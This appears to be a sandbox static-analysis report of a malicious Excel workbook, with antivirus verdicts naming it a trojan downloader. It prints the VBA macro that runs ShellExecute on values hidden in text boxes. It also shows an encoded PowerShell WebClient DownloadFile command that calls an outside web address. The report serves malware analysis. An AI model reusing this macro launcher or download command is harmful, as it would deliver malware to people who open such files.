Static | ZeroBOX

Original


                                        Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Activate()
Range("A1").Value = "Done"

End Sub

                                    

Deobfuscated


                                        Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Activate()
Range("A1").Value = "Done"

End Sub

                                    

Original


                                        Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Function YYkbBCJHTqlAawNP(fgfjhfgfg, fjkerooos, o0t5)
Dim EboPfUXaUiBeWUgxqJFJ

Set EboPfUXaUiBeWUgxqJFJ = GetObject(o0t5)
EboPfUXaUiBeWUgxqJFJ.ShellExecute "P" + fjkerooos, fgfjhfgfg, "", "", 0

End Function

Private Sub Worksheet_Change(ByVal Target As Range)

Dim mTachjZruAhf, fySMHDbkAM, fgfyh, TWLfQdlBvXRWZrw

Set fySMHDbkAM = ThisWorkbook.Sheets.Item(1)


With fySMHDbkAM

mTachjZruAhf = .TextBoxes("TextBox 1").Text

t7gh0 = .TextBoxes("TextBox 2").Text
gtmsd = .TextBoxes("TextBox 3").Text

End With


fgfyh = YYkbBCJHTqlAawNP(mTachjZruAhf, t7gh0, gtmsd)
End Sub





                                    

Deobfuscated


                                        Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Function YYkbBCJHTqlAawNP(fgfjhfgfg, fjkerooos, o0t5)
Dim EboPfUXaUiBeWUgxqJFJ

Set EboPfUXaUiBeWUgxqJFJ = GetObject(o0t5)
EboPfUXaUiBeWUgxqJFJ.ShellExecute "P" + fjkerooos, fgfjhfgfg, "", "", 0

End Function

Private Sub Worksheet_Change(ByVal Target As Range)

Dim mTachjZruAhf, fySMHDbkAM, fgfyh, TWLfQdlBvXRWZrw

Set fySMHDbkAM = ThisWorkbook.Sheets.Item(1)


With fySMHDbkAM

mTachjZruAhf = .TextBoxes("TextBox 1").Text

t7gh0 = .TextBoxes("TextBox 2").Text
gtmsd = .TextBoxes("TextBox 3").Text

End With


fgfyh = YYkbBCJHTqlAawNP(mTachjZruAhf, t7gh0, gtmsd)
End Sub





                                    
Windows Userr B
ThisWorkbook
"$"#,##0_);\("$"#,##0\)
"$"#,##0_);[Red]\("$"#,##0\)
"$"#,##0.00_);\("$"#,##0.00\)
"$"#,##0.00_);[Red]\("$"#,##0.00\)
_("$"* #,##0_);_("$"* \(#,##0\);_("$"* "-"_);_(@_)
_(* #,##0_);_(* \(#,##0\);_(* "-"_);_(@_)
_("$"* #,##0.00_);_("$"* \(#,##0.00\);_("$"* "-"??_);_(@_)
_(* #,##0.00_);_(* \(#,##0.00\);_(* "-"??_);_(@_)
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_)
00\);_(*
;_(@_)
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
00\);_(*
;_(@_)
00\);_(*
;_(@_) }
00\);_(*
;_(@_) }
00\);_(*
;_(@_)
00\);_(*
;_(@_)
00\);_(*
00\);_(*
00\);_(*
;_(@_)
}
00\);_(*
20% - Accent1
20% - Accent2
20% - Accent3
20% - Accent4
20% - Accent5
20% - Accent6
40% - Accent1
40% - Accent2
40% - Accent3
40% - Accent4
40% - Accent5
40% - Accent6
60% - Accent1
60% - Accent2
60% - Accent3
60% - Accent4
60% - Accent5
60% - Accent6
Accent1
Accent2
Accent3
Accent4
Accent5
Accent6
Calculation
Check Cell
Explanatory Text
Heading 1
Heading 2
Heading 3
Heading 4
Linked Cell
Neutral
Output
Warning Text
Sheet1
[Content_Types].xml
_rels/.rels
theme/theme/themeManager.xml
theme/theme/theme1.xml
theme/theme/_rels/themeManager.xml.rels
K(M&$R(.1
[Content_Types].xmlPK
_rels/.relsPK
theme/theme/themeManager.xmlPK
theme/theme/theme1.xmlPK
theme/theme/_rels/themeManager.xml.relsPK
ffffff
ffffff
M333333
?333333
[Content_Types].xml
_rels/.rels
drs/shapexml.xml
drs/downrev.xmlTP
[Content_Types].xmlPK
_rels/.relsPK
drs/shapexml.xmlPK
drs/downrev.xmlPK
[Content_Types].xml
_rels/.rels
drs/shapexml.xml
j?{p^Lw
#,-k_L
!G)$W4#
drs/downrev.xml\
uamg[`
m$w(MIs
[Content_Types].xmlPK
_rels/.relsPK
drs/shapexml.xmlPK
drs/downrev.xmlPK
$gf=(00100100,01110111,01100101,00110010,00110010,00111101,00100111,00101000,01001110,01100101,01110111,00101101,01001111,01100010,01101010,01100101,00100111,00100000,00101011,00100000,00100111,01100011,01110100,00100000,01001110,01100101,01110100,00101110,01010111,01100101,00100111,00111011,00100000,00100100,01100010,00110100,01100100,01100110,00111101,00100111,01100010,01000011,01101100,00100111,00100000,00101011,00100000,00100111,01101001,01100101,01101110,01110100,00101001,00101110,01000100,01101111,01110111,01101110,01101100,01101111,00100111,00111011,00100000,00100100,01100011,00110011,00111101,00100111,01100001,01100100,01000110,01101001,01101100,01100101,00101000,00100111,00100111,01101000,01110100,01110100,01110000,00111010,00101111,00101111,01100100,01110010,01100101,01100001,01101101,01110111,01100001,01110100,01100011,01101000,01100101,01110110,01100101,01101110,01110100,00101110,01100011,01101111,01101101,00101111,00101110,01110111,01100101,01101100,01101100,00101101,01101011,01101110,01101111,01
[Content_Types].xml
_rels/.rels
drs/shapexml.xml
drs/downrev.xmlL
U16qf]]
[Content_Types].xmlPK
_rels/.relsPK
drs/shapexml.xmlPK
drs/downrev.xmlPK
owershell<
[Content_Types].xml
_rels/.rels
drs/shapexml.xml
drs/downrev.xml\
|q~}UOn
[Content_Types].xmlPK
_rels/.relsPK
drs/shapexml.xmlPK
drs/downrev.xmlPK
new:13709620-C279-11CE-A49E-444553540000<
Sheet1g
Attribut
e VB_Nam
e = "Thi
sWorkboo
0{00020P819-
$0046}
|Global
dCreat
ateDeriv
Bustomi6z
ange("A1
").Valu
a "Done
TextBox 1
TextBox 2
TextBox 3
Attribut
e VB_Nam
e = "She@et1"
t0{000
20820-
|Global!
Pre decla
lateDeri
Bustom
nction Y
YkbBCJHT
qlAawNP( fgfjh
fjkeroo
os, o0t5
boPfUXaU
iBeWUgxq
bject(
llExec
KP"",
Sub Wor
ge(ByVal Targ
5C6mTa
chjZruAh
f@?ySMHDb
, TWLfQd
lBvXRWZr6w
ts.Item(
xtBoxes(
Win64x
Project1
stdole
VBAProject
Office
ThisWorkbook|
_Evaluate
Sheet1
Worksheet
YYkbBCJHTqlAawNP<
fgfjhfgfg
fjkerooos-
EboPfUXaUiBeWUgxqJFJ
GetObjectz
ShellExecute
Worksheet_Change
Target
mTachjZruAhfH
fySMHDbkAM.
fgfyhj
TWLfQdlBvXRWZrwy
Sheets
TextBoxes
Workbookk
Workbook_Activateg
Change
roject
G{000204
0046}#2
.0#0#C:\
Windows\
System32
e2.tlb#
OLE Auto
mation
EOffic
D04C-5BF
A-101B-BHDE5
Files\C ommon
Shared\O
FFICE16\
MSO.DLL#
M 16.0
LibrXary
hisWorkb@ookG
B|Sheet1*G
S@#e@Xt
Project1
VBAProject
ThisWorkbook
Sheet1
C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL
C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE
C:\Windows\System32\stdole2.tlb
stdole
C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL
Office
Worksheet
YYkbBCJHTqlAawNP
Worksheet_Change
fgfjhfgfg
fjkerooos
TargetF
ThisWorkbook
Sheet1
ID="{F17D985E-A5D0-4EAC-B11B-C5B2BE3CAECF}"
Document=ThisWorkbook/&H00000000
Document=Sheet1/&H00000000
Name="VBAProject"
lpContextID="0"
VersionCompatible32="393222000"
CMG="5E5C10F4300C8A108A108A108A10"
DPB="BCBEF2520EB10FB10FB1"
GC="1A185438B339B3394C"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
ThisWorkbook=0, 0, 0, 0, C
Sheet1=0, 0, 0, 0, C
Eng Moha
Administrator
Microsoft Excel
Sheet1
Worksheets
Microsoft Excel 2003 Worksheet
Excel.Sheet.8
Root Entry
Workbook
_VBA_PROJECT_CUR
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1*
Calibri Light1
Calibri1
Calibri1
Calibri
20% - Accent1
20% - Accent2
20% - Accent3
20% - Accent4
20% - Accent5
20% - Accent6
40% - Accent1
40% - Accent2
40% - Accent3
40% - Accent4
40% - Accent5
40% - Accent6
60% - Accent1
60% - Accent2
60% - Accent3
60% - Accent4
60% - Accent5
60% - Accent6
Accent1
Accent2
Accent3
Accent4
Accent5
Accent6
Calculation
Check Cell
Comma [0]
Currency
Currency [0]
Explanatory Text
Heading 1
Heading 2
Heading 3
Heading 4
Linked Cell
Neutral
Normal
Output
Percent
Warning Text
TableStyleMedium2PivotStyleLight16
Rectangle 5
Picture 7
Picture 3
TextBox 1
TextBox 2
TextBox 3
ThisWorkbook
Sheet1
__SRP_2
__SRP_3
N0{00020819-0000-0000-C000-000000000046}
N0{00020820-0000-0000-C000-000000000046}
*\R1*#2a0
$*\Rffff*03632346ea
OOOOH
*\G{000204EF-0_VBA_PROJECT
__SRP_0
__SRP_1
000-0000-C000-000000000046}#4.2#9#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL#Visual Basic For Applications
*\G{00020813-0000-0000-C000-000000000046}#1.9#0#C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE#Microsoft Excel 16.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\System32\stdole2.tlb#OLE Automation
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL#Microsoft Office 16.0 Object Library
ThisWorkbook
01632346e7
ThisWorkbook
Sheet1
03632346ea
Sheet1
kThisWorkbook
1Sheet1
PROJECTwm
PROJECT
SummaryInformation
DocumentSummaryInformation
CompObj
Antivirus Signature
Bkav Clean
Lionic Clean
MicroWorld-eScan VB:Trojan.Valyria.5189
FireEye VB:Trojan.Valyria.5189
CAT-QuickHeal Clean
ALYac VB:Trojan.Valyria.5189
Malwarebytes Clean
Zillya Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
Arcabit Clean
BitDefenderTheta Clean
Cyren X97M/Agent.ACH.gen!Eldorado
Symantec Clean
ESET-NOD32 Clean
Baidu Clean
TrendMicro-HouseCall Trojan.XF.DLOADR.AI
Avast Clean
ClamAV Clean
Kaspersky HEUR:Trojan.MSOffice.SAgent.gen
BitDefender VB:Trojan.Valyria.5189
NANO-Antivirus Clean
ViRobot Clean
Rising Clean
Ad-Aware VB:Trojan.Valyria.5189
Emsisoft VB:Trojan.Valyria.5189 (B)
Comodo Clean
F-Secure Clean
DrWeb Clean
VIPRE Clean
TrendMicro Trojan.XF.DLOADR.AI
McAfee-GW-Edition Artemis
CMC Clean
Sophos Clean
SentinelOne Clean
Jiangmin Clean
Avira X97M/Agent.0946111
MAX malware (ai score=85)
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Microsoft Clean
SUPERAntiSpyware Clean
ZoneAlarm Clean
GData VB:Trojan.Valyria.5189
Cynet Malicious (score: 99)
AhnLab-V3 Clean
Acronis Clean
McAfee Clean
TACHYON Clean
VBA32 Clean
Zoner Clean
Tencent Clean
Yandex Clean
Ikarus Clean
MaxSecure Clean
Fortinet VBA/Agent.MIP!tr
Panda Clean
No IRMA results available.